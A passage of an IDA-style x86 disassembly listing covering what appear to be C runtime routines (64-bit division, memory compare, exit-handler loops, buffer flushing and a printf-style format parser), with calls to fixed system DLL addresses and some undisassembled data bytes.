add esi, 0Fh
and esi, 0FFFFFFF0h
push esi
push ebx
push 0
push dword_516EC0
nop
call near ptr 7C9179FDh
mov edi, eax
loc_418D37: ; CODE XREF: sub_418C3F+D7j
test edi, edi
jnz short loc_418D58
loc_418D3B: ; CODE XREF: sub_418C3F+36j
; sub_418C3F+B9j
cmp dword_5158DC, 0
jz short loc_418D58
push esi
call sub_419BC2
test eax, eax
pop ecx
jnz loc_418C70
jmp loc_418C69
; ---------------------------------------------------------------------------
loc_418D58: ; CODE XREF: sub_418C3F+93j
; sub_418C3F+FAj ...
mov eax, edi
loc_418D5A: ; CODE XREF: sub_418C3F+16j
; sub_418C3F+2Cj
pop edi
pop esi
pop ebp
pop ebx
retn
sub_418C3F endp
; =============== S U B R O U T I N E =======================================
sub_418D5F proc near ; CODE XREF: ___:00418F73p
; DATA XREF: ___:off_43B578o
call sub_418D77
call sub_41C4B6
mov dword_515880, eax
call sub_41C466
fnclex
retn
sub_418D5F endp
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
sub_418D77 proc near ; CODE XREF: sub_418D5Fp
mov eax, offset sub_41C8A4
mov off_43B8CC, offset sub_41C539
mov off_43B8C8, eax
mov off_43B8D0, offset sub_41C59F
mov off_43B8D4, offset sub_41C4DF
mov off_43B8D8, offset sub_41C587
mov off_43B8DC, eax
retn
sub_418D77 endp
; =============== S U B R O U T I N E =======================================
sub_418DAF proc near ; CODE XREF: sub_40D5A0+8p
arg_0 = dword ptr 4
arg_4 = byte ptr 8
push [esp+arg_0]
nop
call near ptr 7C81153Ch
cmp eax, 0FFFFFFFFh
jnz short loc_418DCF
nop
call near ptr 7C910331h
push eax
call sub_41C91A
pop ecx
loc_418DCB: ; CODE XREF: sub_418DAF+3Fj
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_418DCF: ; CODE XREF: sub_418DAF+Dj
test al, 1
jz short loc_418DF0
test [esp+arg_4], 2
jz short loc_418DF0
mov dword_515884, 0Dh
mov dword_515888, 5
jmp short loc_418DCB
; ---------------------------------------------------------------------------
loc_418DF0: ; CODE XREF: sub_418DAF+22j
; sub_418DAF+29j
xor eax, eax
retn
sub_418DAF endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418E00 proc near ; CODE XREF: sub_40D6CA+5Fp
; sub_40D6CA+90p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
arg_C = dword ptr 10h
push edi
push esi
push ebx
xor edi, edi
mov eax, [esp+0Ch+arg_4]
or eax, eax
jge short loc_418E21
inc edi
mov edx, [esp+0Ch+arg_0]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_4], eax
mov [esp+0Ch+arg_0], edx
loc_418E21: ; CODE XREF: sub_418E00+Bj
mov eax, [esp+0Ch+arg_C]
or eax, eax
jge short loc_418E3D
inc edi
mov edx, [esp+0Ch+arg_8]
neg eax
neg edx
sbb eax, 0
mov [esp+0Ch+arg_C], eax
mov [esp+0Ch+arg_8], edx
loc_418E3D: ; CODE XREF: sub_418E00+27j
or eax, eax
jnz short loc_418E59
mov ecx, [esp+0Ch+arg_8]
mov eax, [esp+0Ch+arg_4]
xor edx, edx
div ecx
mov ebx, eax
mov eax, [esp+0Ch+arg_0]
div ecx
mov edx, ebx
jmp short loc_418E9A
; ---------------------------------------------------------------------------
loc_418E59: ; CODE XREF: sub_418E00+3Fj
mov ebx, eax
mov ecx, [esp+0Ch+arg_8]
mov edx, [esp+0Ch+arg_4]
mov eax, [esp+0Ch+arg_0]
loc_418E67: ; CODE XREF: sub_418E00+71j
shr ebx, 1
rcr ecx, 1
shr edx, 1
rcr eax, 1
or ebx, ebx
jnz short loc_418E67
div ecx
mov esi, eax
mul [esp+0Ch+arg_C]
mov ecx, eax
mov eax, [esp+0Ch+arg_8]
mul esi
add edx, ecx
jb short loc_418E95
cmp edx, [esp+0Ch+arg_4]
ja short loc_418E95
jb short loc_418E96
cmp eax, [esp+0Ch+arg_0]
jbe short loc_418E96
loc_418E95: ; CODE XREF: sub_418E00+85j
; sub_418E00+8Bj
dec esi
loc_418E96: ; CODE XREF: sub_418E00+8Dj
; sub_418E00+93j
xor edx, edx
mov eax, esi
loc_418E9A: ; CODE XREF: sub_418E00+57j
dec edi
jnz short loc_418EA4
neg edx
neg eax
sbb edx, 0
loc_418EA4: ; CODE XREF: sub_418E00+9Bj
pop ebx
pop esi
pop edi
retn 10h
sub_418E00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_418EB0 proc near ; CODE XREF: sub_40DA24+1Dp
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
mov eax, [esp+arg_8]
test eax, eax
jz short locret_418EFC
mov edx, [esp+arg_0]
push esi
push edi
mov esi, edx
mov edi, [esp+8+arg_4]
or edx, edi
and edx, 3
jz short loc_418EFD
test eax, 1
jz short loc_418EDD
mov cl, [esi]
cmp cl, [edi]
jnz short loc_418F2A
inc esi
inc edi
dec eax
jz short loc_418EFA
loc_418EDD: ; CODE XREF: sub_418EB0+20j
; sub_418EB0+48j
mov cl, [esi]
mov dl, [edi]
cmp cl, dl
jnz short loc_418F2A
mov cl, [esi+1]
mov dl, [edi+1]
cmp cl, dl
jnz short loc_418F2A
add edi, 2
add esi, 2
sub eax, 2
jnz short loc_418EDD
loc_418EFA: ; CODE XREF: sub_418EB0+2Bj
; sub_418EB0+84j
pop edi
pop esi
locret_418EFC: ; CODE XREF: sub_418EB0+6j
retn
; ---------------------------------------------------------------------------
loc_418EFD: ; CODE XREF: sub_418EB0+19j
mov ecx, eax
and eax, 3
shr ecx, 2
jz short loc_418F32
repe cmpsd
jz short loc_418F32
mov ecx, [esi-4]
mov edx, [edi-4]
cmp cl, dl
jnz short loc_418F25
cmp ch, dh
jnz short loc_418F25
shr ecx, 10h
shr edx, 10h
cmp cl, dl
jnz short loc_418F25
cmp ch, dh
loc_418F25: ; CODE XREF: sub_418EB0+63j
; sub_418EB0+67j ...
mov eax, 0
loc_418F2A: ; CODE XREF: sub_418EB0+26j
; sub_418EB0+33j ...
sbb eax, eax
pop edi
sbb eax, 0FFFFFFFFh
pop esi
retn
; ---------------------------------------------------------------------------
loc_418F32: ; CODE XREF: sub_418EB0+55j
; sub_418EB0+59j
test eax, eax
jz short loc_418EFA
mov edx, [esi]
mov ecx, [edi]
cmp dl, cl
jnz short loc_418F25
dec eax
jz short loc_418F59
cmp dh, ch
jnz short loc_418F25
dec eax
jz short loc_418F59
and ecx, 0FF0000h
and edx, 0FF0000h
cmp edx, ecx
jnz short loc_418F25
dec eax
loc_418F59: ; CODE XREF: sub_418EB0+8Fj
; sub_418EB0+96j
pop edi
pop esi
retn
sub_418EB0 endp
; =============== S U B R O U T I N E =======================================
sub_418F5C proc near ; CODE XREF: sub_40E14E+3Fp
; sub_40E220+27p
arg_0 = dword ptr 4
push 1
push [esp+4+arg_0]
call sub_417C00
pop ecx
pop ecx
retn
sub_418F5C endp
; ---------------------------------------------------------------------------
mov eax, off_43B578
test eax, eax
jz short loc_418F75
call eax ; sub_418D5F
loc_418F75: ; CODE XREF: ___:00418F71j
push offset dword_423018
push offset dword_42300C
call sub_419052
push offset dword_423008
push offset dword_423000
call sub_419052
add esp, 10h
retn
; ---------------------------------------------------------------------------
push 0
push 0
push dword ptr [esp+0Ch]
call sub_418FB9
add esp, 0Ch
retn
; =============== S U B R O U T I N E =======================================
sub_418FA8 proc near ; CODE XREF: sub_4191E5+1Cp
; DATA XREF: ___:off_43B590o
arg_0 = dword ptr 4
push 0
push 1
push [esp+8+arg_0]
call sub_418FB9
add esp, 0Ch
retn
sub_418FA8 endp
; =============== S U B R O U T I N E =======================================
sub_418FB9 proc near ; CODE XREF: ___:00418F9Fp
; sub_418FA8+8p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
push 1
pop edi
cmp dword_5158CC, edi
jnz short loc_418FD6
push [esp+4+arg_0]
nop
call near ptr 7C80DDF5h
push eax
nop
call near ptr 7C801E16h
loc_418FD6: ; CODE XREF: sub_418FB9+Aj
cmp [esp+4+arg_4], 0
push ebx
mov ebx, [esp+8+arg_8]
mov dword_5158C8, edi
mov byte_5158C4, bl
jnz short loc_41902A
mov eax, dword_516ED4
test eax, eax
jz short loc_419019
mov ecx, dword_516ED0
push esi
lea esi, [ecx-4]
cmp esi, eax
jb short loc_419018
loc_419005: ; CODE XREF: sub_418FB9+5Dj
mov eax, [esi]
test eax, eax
jz short loc_41900D
call eax
loc_41900D: ; CODE XREF: sub_418FB9+50j
sub esi, 4
cmp esi, dword_516ED4
jnb short loc_419005
loc_419018: ; CODE XREF: sub_418FB9+4Aj
pop esi
loc_419019: ; CODE XREF: sub_418FB9+3Cj
push offset dword_423024
push offset dword_42301C
call sub_419052
pop ecx
pop ecx
loc_41902A: ; CODE XREF: sub_418FB9+33j
push offset dword_42302C
push offset dword_423028
call sub_419052
pop ecx
pop ecx
test ebx, ebx
pop ebx
jnz short loc_419050
push [esp+4+arg_0]
mov dword_5158CC, edi
nop
call near ptr 7C81CDDAh
loc_419050: ; CODE XREF: sub_418FB9+85j
pop edi
retn
sub_418FB9 endp
; =============== S U B R O U T I N E =======================================
sub_419052 proc near ; CODE XREF: ___:00418F7Fp
; ___:00418F8Ep ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_0]
loc_419057: ; CODE XREF: sub_419052+16j
cmp esi, [esp+4+arg_4]
jnb short loc_41906A
mov eax, [esi]
test eax, eax
jz short loc_419065
call eax
loc_419065: ; CODE XREF: sub_419052+Fj
add esi, 4
jmp short loc_419057
; ---------------------------------------------------------------------------
loc_41906A: ; CODE XREF: sub_419052+9j
pop esi
retn
sub_419052 endp
; =============== S U B R O U T I N E =======================================
sub_41906C proc near ; CODE XREF: sub_40F6F1+2CBCp
arg_0 = dword ptr 4
push [esp+arg_0]
nop
call near ptr 7C831EABh
test eax, eax
jnz short loc_419082
nop
call near ptr 7C910331h
jmp short loc_419084
; ---------------------------------------------------------------------------
loc_419082: ; CODE XREF: sub_41906C+Cj
xor eax, eax
loc_419084: ; CODE XREF: sub_41906C+14j
test eax, eax
jz short loc_419093
push eax
call sub_41C91A
pop ecx
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_419093: ; CODE XREF: sub_41906C+1Aj
xor eax, eax
retn
sub_41906C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419096 proc near ; CODE XREF: sub_40F6F1+2C13p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = byte ptr 10h
push ebp
mov ebp, esp
push esi
push edi
push [ebp+arg_0]
call sub_41C981
mov esi, eax
lea eax, [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_419343
push [ebp+arg_0]
mov edi, eax
push esi
call sub_41CA0E
add esp, 18h
mov eax, edi
pop edi
pop esi
pop ebp
retn
sub_419096 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4190C8 proc near ; CODE XREF: sub_415EF7+24p
var_C = qword ptr -0Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
fstcw [ebp+var_2]
wait
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [ebp+var_C]
fldcw [ebp+var_2]
mov eax, dword ptr [ebp+var_C]
mov edx, dword ptr [ebp+var_C+4]
leave
retn
sub_4190C8 endp
; ---------------------------------------------------------------------------
db 0E1h
dd 22A560DCh, 60B2888h, 0CD819B71h, 6B8D8548h, 9F52448Eh
dd 25896450h, 0
dd 5358EC83h, 65895756h, 0BFE890E8h, 337C3F80h, 89D48AD2h
dd 51589C15h, 81C88B00h, 0FFE1h, 980D8900h, 0C1005158h
dd 0CA0308E1h, 58940D89h, 0E8C10051h, 5890A310h, 0F6330051h
dd 0A8FE856h, 85590000h, 6A0875C0h, 0B0E81Ch, 89590000h
dd 0FCE8FC75h, 9000003Eh, 3F9DB4E8h, 6EC4A37Ch, 0BAE80051h
dd 0A300003Dh, 5158D0h, 3B63E8h, 3AA5E800h, 0E3E80000h
dd 89FFFFFDh, 458DD075h, 0E89050A4h, 7C3E8D5Ah, 3A36E8h
dd 9C458900h, 1D045F6h, 0B70F0674h, 3EBD445h, 50580A6Ah
dd 569C75FFh, 0EAE89056h, 507C3F24h, 0FF5A6EE8h, 0A04589FFh
dd 0FDD1E850h, 458BFFFFh, 8B088BECh, 984D8909h, 74E85150h
dd 59000038h, 658BC359h, 9875FFE8h, 0FFFDC3E8h
db 0FFh
; =============== S U B R O U T I N E =======================================
sub_4191E5 proc near ; CODE XREF: ___:0041CC75p
; ___:0041CCA4p ...
arg_0 = dword ptr 4
cmp dword_5158D8, 1
jnz short loc_4191F3
call sub_41D3DC
loc_4191F3: ; CODE XREF: sub_4191E5+7j
push [esp+arg_0]
call sub_41D415
push 0FFh
call off_43B590
pop ecx
pop ecx
retn
sub_4191E5 endp
; ---------------------------------------------------------------------------
dw 3D83h
dd offset dword_5158D8
dd 0E8057501h, 41C4h, 42474FFh, 41F4E8h, 0FF685900h, 90000000h
dd 403BADE8h
db 7Ch, 0C3h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41922E proc near ; CODE XREF: sub_4173AC+46p
; sub_41792A+45p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [esi+0Ch]
mov ebx, [esi+10h]
test al, 82h
jz loc_419337
test al, 40h
jnz loc_419337
test al, 1
jz short loc_419266
and dword ptr [esi+4], 0
test al, 10h
jz loc_419337
mov ecx, [esi+8]
and al, 0FEh
mov [esi], ecx
mov [esi+0Ch], eax
loc_419266: ; CODE XREF: sub_41922E+20j
mov eax, [esi+0Ch]
and dword ptr [esi+4], 0
and [ebp+arg_4], 0
and al, 0EFh
or al, 2
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_4192A0
cmp esi, offset dword_43BB98
jz short loc_41928E
cmp esi, offset dword_43BBB8
jnz short loc_419299
loc_41928E: ; CODE XREF: sub_41922E+56j
push ebx
call sub_41D5AC
test eax, eax
pop ecx
jnz short loc_4192A0
loc_419299: ; CODE XREF: sub_41922E+5Ej
push esi
call sub_41D568
pop ecx
loc_4192A0: ; CODE XREF: sub_41922E+4Ej
; sub_41922E+69j
test word ptr [esi+0Ch], 108h
push edi
jz short loc_41930D
mov eax, [esi+8]
mov edi, [esi]
sub edi, eax
lea ecx, [eax+1]
mov [esi], ecx
mov ecx, [esi+18h]
dec ecx
test edi, edi
mov [esi+4], ecx
jle short loc_4192D0
push edi
push eax
push ebx
call sub_41BE4F
add esp, 0Ch
mov [ebp+arg_4], eax
jmp short loc_419303
; ---------------------------------------------------------------------------
loc_4192D0: ; CODE XREF: sub_41922E+90j
cmp ebx, 0FFFFFFFFh
jz short loc_4192EB
mov eax, ebx
mov ecx, ebx
sar eax, 5
and ecx, 1Fh
mov eax, dword_516B80[eax*4]
lea eax, [eax+ecx*8]
jmp short loc_4192F0
; ---------------------------------------------------------------------------
loc_4192EB: ; CODE XREF: sub_41922E+A5j
mov eax, offset dword_43BAD0
loc_4192F0: ; CODE XREF: sub_41922E+BBj
test byte ptr [eax+4], 20h
jz short loc_419303
push 2
push 0
push ebx
call sub_41BA39
add esp, 0Ch
loc_419303: ; CODE XREF: sub_41922E+A0j
; sub_41922E+C6j
mov eax, [esi+8]
mov cl, byte ptr [ebp+arg_0]
mov [eax], cl
jmp short loc_419321
; ---------------------------------------------------------------------------
loc_41930D: ; CODE XREF: sub_41922E+79j
push 1
lea eax, [ebp+arg_0]
pop edi
push edi
push eax
push ebx
call sub_41BE4F
add esp, 0Ch
mov [ebp+arg_4], eax
loc_419321: ; CODE XREF: sub_41922E+DDj
cmp [ebp+arg_4], edi
pop edi
jz short loc_41932D
or dword ptr [esi+0Ch], 20h
jmp short loc_41933C
; ---------------------------------------------------------------------------
loc_41932D: ; CODE XREF: sub_41922E+F7j
mov eax, [ebp+arg_0]
and eax, 0FFh
jmp short loc_41933F
; ---------------------------------------------------------------------------
loc_419337: ; CODE XREF: sub_41922E+10j
; sub_41922E+18j ...
or al, 20h
mov [esi+0Ch], eax
loc_41933C: ; CODE XREF: sub_41922E+FDj
or eax, 0FFFFFFFFh
loc_41933F: ; CODE XREF: sub_41922E+107j
pop esi
pop ebx
pop ebp
retn
sub_41922E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419343 proc near ; CODE XREF: sub_4173AC+29p
; sub_41792A+28p ...
var_248 = byte ptr -248h
var_247 = byte ptr -247h
var_49 = byte ptr -49h
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = byte ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_16 = byte ptr -16h
var_15 = byte ptr -15h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 248h
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
xor esi, esi
mov bl, [edi]
inc edi
test bl, bl
mov [ebp+var_C], esi
mov [ebp+var_14], esi
mov [ebp+arg_4], edi
jz loc_419A5C
mov ecx, [ebp+var_10]
xor edx, edx
jmp short loc_419377
; ---------------------------------------------------------------------------
loc_41936F: ; CODE XREF: sub_419343+713j
mov ecx, [ebp+var_10]
mov esi, [ebp+var_30]
xor edx, edx
loc_419377: ; CODE XREF: sub_419343+2Aj
cmp [ebp+var_14], edx
jl loc_419A5C
cmp bl, 20h
jl short loc_419398
cmp bl, 78h
jg short loc_419398
movsx eax, bl
mov al, byte_42160C[eax]
and eax, 0Fh
jmp short loc_41939A
; ---------------------------------------------------------------------------
loc_419398: ; CODE XREF: sub_419343+40j
; sub_419343+45j
xor eax, eax
loc_41939A: ; CODE XREF: sub_419343+53j
movsx eax, byte_42162C[esi+eax*8]
sar eax, 4
cmp eax, 7 ; switch 8 cases
mov [ebp+var_30], eax
ja loc_419A4B ; default
jmp off_419A64[eax*4] ; switch jump
loc_4193B8: ; DATA XREF: ___:off_419A64o
or [ebp+var_10], 0FFFFFFFFh ; jumptable 004193B1 case 1
mov [ebp+var_34], edx
mov [ebp+var_28], edx
mov [ebp+var_20], edx
mov [ebp+var_1C], edx
mov [ebp+var_4], edx
mov [ebp+var_24], edx
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_4193D3: ; CODE XREF: sub_419343+6Ej
; DATA XREF: ___:off_419A64o
movsx eax, bl ; jumptable 004193B1 case 2
sub eax, 20h
jz short loc_419416
sub eax, 3
jz short loc_41940D
sub eax, 8
jz short loc_419404
dec eax
dec eax
jz short loc_4193FB
sub eax, 3
jnz loc_419A4B ; default
or [ebp+var_4], 8
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_4193FB: ; CODE XREF: sub_419343+A4j
or [ebp+var_4], 4
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_419404: ; CODE XREF: sub_419343+A0j
or [ebp+var_4], 1
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_41940D: ; CODE XREF: sub_419343+9Bj
or byte ptr [ebp+var_4], 80h
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_419416: ; CODE XREF: sub_419343+96j
or [ebp+var_4], 2
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_41941F: ; CODE XREF: sub_419343+6Ej
; DATA XREF: ___:off_419A64o
cmp bl, 2Ah ; jumptable 004193B1 case 3
jnz short loc_419447
lea eax, [ebp+arg_8]
push eax
call sub_419B22
test eax, eax
pop ecx
mov [ebp+var_20], eax
jge loc_419A4B ; default
or [ebp+var_4], 4
neg eax
loc_41943F: ; CODE XREF: sub_419343+111j
mov [ebp+var_20], eax
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_419447: ; CODE XREF: sub_419343+DFj
mov eax, [ebp+var_20]
movsx ecx, bl
lea eax, [eax+eax*4]
lea eax, [ecx+eax*2-30h]
jmp short loc_41943F
; ---------------------------------------------------------------------------
loc_419456: ; CODE XREF: sub_419343+6Ej
; DATA XREF: ___:off_419A64o
mov [ebp+var_10], edx ; jumptable 004193B1 case 4
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_41945E: ; CODE XREF: sub_419343+6Ej
; DATA XREF: ___:off_419A64o
cmp bl, 2Ah ; jumptable 004193B1 case 5
jnz short loc_419481
lea eax, [ebp+arg_8]
push eax
call sub_419B22
test eax, eax
pop ecx
mov [ebp+var_10], eax
jge loc_419A4B ; default
or [ebp+var_10], 0FFFFFFFFh
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_419481: ; CODE XREF: sub_419343+11Ej
lea eax, [ecx+ecx*4]
movsx ecx, bl
lea eax, [ecx+eax*2-30h]
mov [ebp+var_10], eax
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_419493: ; CODE XREF: sub_419343+6Ej
; DATA XREF: ___:off_419A64o
cmp bl, 49h ; jumptable 004193B1 case 6
jz short loc_4194C6
cmp bl, 68h
jz short loc_4194BD
cmp bl, 6Ch
jz short loc_4194B4
cmp bl, 77h
jnz loc_419A4B ; default
or byte ptr [ebp+var_4+1], 8
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_4194B4: ; CODE XREF: sub_419343+15Dj
or [ebp+var_4], 10h
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_4194BD: ; CODE XREF: sub_419343+158j
or [ebp+var_4], 20h
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_4194C6: ; CODE XREF: sub_419343+153j
cmp byte ptr [edi], 36h
jnz short loc_4194DF
cmp byte ptr [edi+1], 34h
jnz short loc_4194DF
inc edi
inc edi
or byte ptr [ebp+var_4+1], 80h
mov [ebp+arg_4], edi
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_4194DF: ; CODE XREF: sub_419343+186j
; sub_419343+18Cj
mov [ebp+var_30], edx
loc_4194E2: ; CODE XREF: sub_419343+6Ej
; DATA XREF: ___:off_419A64o
mov ecx, off_43B5A0 ; jumptable 004193B1 case 0
mov [ebp+var_24], edx
movzx eax, bl
test byte ptr [ecx+eax*2+1], 80h
jz short loc_41950E
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_419A84
mov bl, [edi]
add esp, 0Ch
inc edi
mov [ebp+arg_4], edi
loc_41950E: ; CODE XREF: sub_419343+1B0j
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
movsx eax, bl
push eax
call sub_419A84
add esp, 0Ch
jmp loc_419A4B ; default
; ---------------------------------------------------------------------------
loc_419526: ; CODE XREF: sub_419343+6Ej
; DATA XREF: ___:off_419A64o
movsx eax, bl ; jumptable 004193B1 case 7
cmp eax, 67h
jg loc_41974E
cmp eax, 65h
jge loc_4195D1
cmp eax, 58h
jg loc_41962F
jz loc_4197C2
sub eax, 43h
jz loc_4195F2
dec eax
dec eax
jz short loc_4195C7
dec eax
dec eax
jz short loc_4195C7
sub eax, 0Ch
jnz loc_41994D
test word ptr [ebp+var_4], 830h
jnz short loc_419570
or byte ptr [ebp+var_4+1], 8
loc_419570: ; CODE XREF: sub_419343+227j
; sub_419343+42Aj
mov esi, [ebp+var_10]
cmp esi, 0FFFFFFFFh
jnz short loc_41957D
mov esi, 7FFFFFFFh
loc_41957D: ; CODE XREF: sub_419343+233j
lea eax, [ebp+arg_8]
push eax
call sub_419B22
test word ptr [ebp+var_4], 810h
pop ecx
mov ecx, eax
mov [ebp+var_8], ecx
jz loc_419796
test ecx, ecx
jnz short loc_4195A5
mov ecx, off_43B59C
mov [ebp+var_8], ecx
loc_4195A5: ; CODE XREF: sub_419343+257j
mov [ebp+var_24], 1
mov eax, ecx
loc_4195AE: ; CODE XREF: sub_419343+282j
mov edx, esi
dec esi
test edx, edx
jz loc_41978D
cmp word ptr [eax], 0
jz loc_41978D
inc eax
inc eax
jmp short loc_4195AE
; ---------------------------------------------------------------------------
loc_4195C7: ; CODE XREF: sub_419343+212j
; sub_419343+216j
mov [ebp+var_34], 1
add bl, 20h
loc_4195D1: ; CODE XREF: sub_419343+1F2j
or [ebp+var_4], 40h
lea edi, [ebp+var_248]
cmp ecx, edx
mov [ebp+var_8], edi
jge loc_4196B5
mov [ebp+var_10], 6
jmp loc_4196C3
; ---------------------------------------------------------------------------
loc_4195F2: ; CODE XREF: sub_419343+20Aj
test word ptr [ebp+var_4], 830h
jnz short loc_4195FE
or byte ptr [ebp+var_4+1], 8
loc_4195FE: ; CODE XREF: sub_419343+2B5j
; sub_419343+2F4j
test word ptr [ebp+var_4], 810h
lea eax, [ebp+arg_8]
push eax
jz short loc_419645
call sub_419B3F
push eax
lea eax, [ebp+var_248]
push eax
call sub_41D68B
add esp, 0Ch
mov [ebp+var_C], eax
test eax, eax
jge short loc_419658
mov [ebp+var_28], 1
jmp short loc_419658
; ---------------------------------------------------------------------------
loc_41962F: ; CODE XREF: sub_419343+1FBj
sub eax, 5Ah
jz short loc_419666
sub eax, 9
jz short loc_4195FE
dec eax
jz loc_419828
jmp loc_41994D
; ---------------------------------------------------------------------------
loc_419645: ; CODE XREF: sub_419343+2C5j
call sub_419B22
pop ecx
mov [ebp+var_248], al
mov [ebp+var_C], 1
loc_419658: ; CODE XREF: sub_419343+2E1j
; sub_419343+2EAj
lea eax, [ebp+var_248]
mov [ebp+var_8], eax
jmp loc_41994D
; ---------------------------------------------------------------------------
loc_419666: ; CODE XREF: sub_419343+2EFj
lea eax, [ebp+arg_8]
push eax
call sub_419B22
test eax, eax
pop ecx
jz short loc_4196A7
mov ecx, [eax+4]
test ecx, ecx
jz short loc_4196A7
test byte ptr [ebp+var_4+1], 8
jz short loc_419698
movsx eax, word ptr [eax]
shr eax, 1
mov [ebp+var_8], ecx
mov [ebp+var_C], eax
mov [ebp+var_24], 1
jmp loc_41994D
; ---------------------------------------------------------------------------
loc_419698: ; CODE XREF: sub_419343+33Cj
and [ebp+var_24], 0
mov [ebp+var_8], ecx
movsx eax, word ptr [eax]
jmp loc_41994A
; ---------------------------------------------------------------------------
loc_4196A7: ; CODE XREF: sub_419343+32Fj
; sub_419343+336j
mov eax, off_43B598
mov [ebp+var_8], eax
push eax
jmp loc_419743
; ---------------------------------------------------------------------------
loc_4196B5: ; CODE XREF: sub_419343+29Dj
jnz short loc_4196C3
cmp bl, 67h
jnz short loc_4196C3
mov [ebp+var_10], 1
loc_4196C3: ; CODE XREF: sub_419343+2AAj
; sub_419343:loc_4196B5j ...
mov eax, [ebp+arg_8]
push [ebp+var_34]
add eax, 8
mov [ebp+arg_8], eax
push [ebp+var_10]
mov ecx, [eax-8]
mov [ebp+var_48], ecx
mov eax, [eax-4]
mov [ebp+var_44], eax
movsx eax, bl
push eax
lea eax, [ebp+var_248]
push eax
lea eax, [ebp+var_48]
push eax
call off_43B8C8
mov esi, [ebp+var_4]
add esp, 14h
and esi, 80h
jz short loc_419715
cmp [ebp+var_10], 0
jnz short loc_419715
lea eax, [ebp+var_248]
push eax
call off_43B8D4
pop ecx
loc_419715: ; CODE XREF: sub_419343+3BCj
; sub_419343+3C2j
cmp bl, 67h
jnz short loc_41972C
test esi, esi
jnz short loc_41972C
lea eax, [ebp+var_248]
push eax
call off_43B8CC
pop ecx
loc_41972C: ; CODE XREF: sub_419343+3D5j
; sub_419343+3D9j
cmp [ebp+var_248], 2Dh
jnz short loc_419742
or byte ptr [ebp+var_4+1], 1
lea edi, [ebp+var_247]
mov [ebp+var_8], edi
loc_419742: ; CODE XREF: sub_419343+3F0j
push edi
loc_419743: ; CODE XREF: sub_419343+36Dj
call sub_417AF0
pop ecx
jmp loc_41994A
; ---------------------------------------------------------------------------
loc_41974E: ; CODE XREF: sub_419343+1E9j
sub eax, 69h
jz loc_419828
sub eax, 5
jz loc_4197FE
dec eax
jz loc_4197EB
dec eax
jz short loc_4197BB
sub eax, 3
jz loc_419570
dec eax
dec eax
jz loc_41982C
sub eax, 3
jnz loc_41994D
mov [ebp+var_2C], 27h
jmp short loc_4197C9
; ---------------------------------------------------------------------------
loc_41978D: ; CODE XREF: sub_419343+270j
; sub_419343+27Aj
sub eax, ecx
sar eax, 1
jmp loc_41994A
; ---------------------------------------------------------------------------
loc_419796: ; CODE XREF: sub_419343+24Fj
test ecx, ecx
jnz short loc_4197A3
mov ecx, off_43B598
mov [ebp+var_8], ecx
loc_4197A3: ; CODE XREF: sub_419343+455j
mov eax, ecx
loc_4197A5: ; CODE XREF: sub_419343+46Fj
mov edx, esi
dec esi
test edx, edx
jz short loc_4197B4
cmp byte ptr [eax], 0
jz short loc_4197B4
inc eax
jmp short loc_4197A5
; ---------------------------------------------------------------------------
loc_4197B4: ; CODE XREF: sub_419343+467j
; sub_419343+46Cj
sub eax, ecx
jmp loc_41994A
; ---------------------------------------------------------------------------
loc_4197BB: ; CODE XREF: sub_419343+425j
mov [ebp+var_10], 8
loc_4197C2: ; CODE XREF: sub_419343+201j
mov [ebp+var_2C], 7
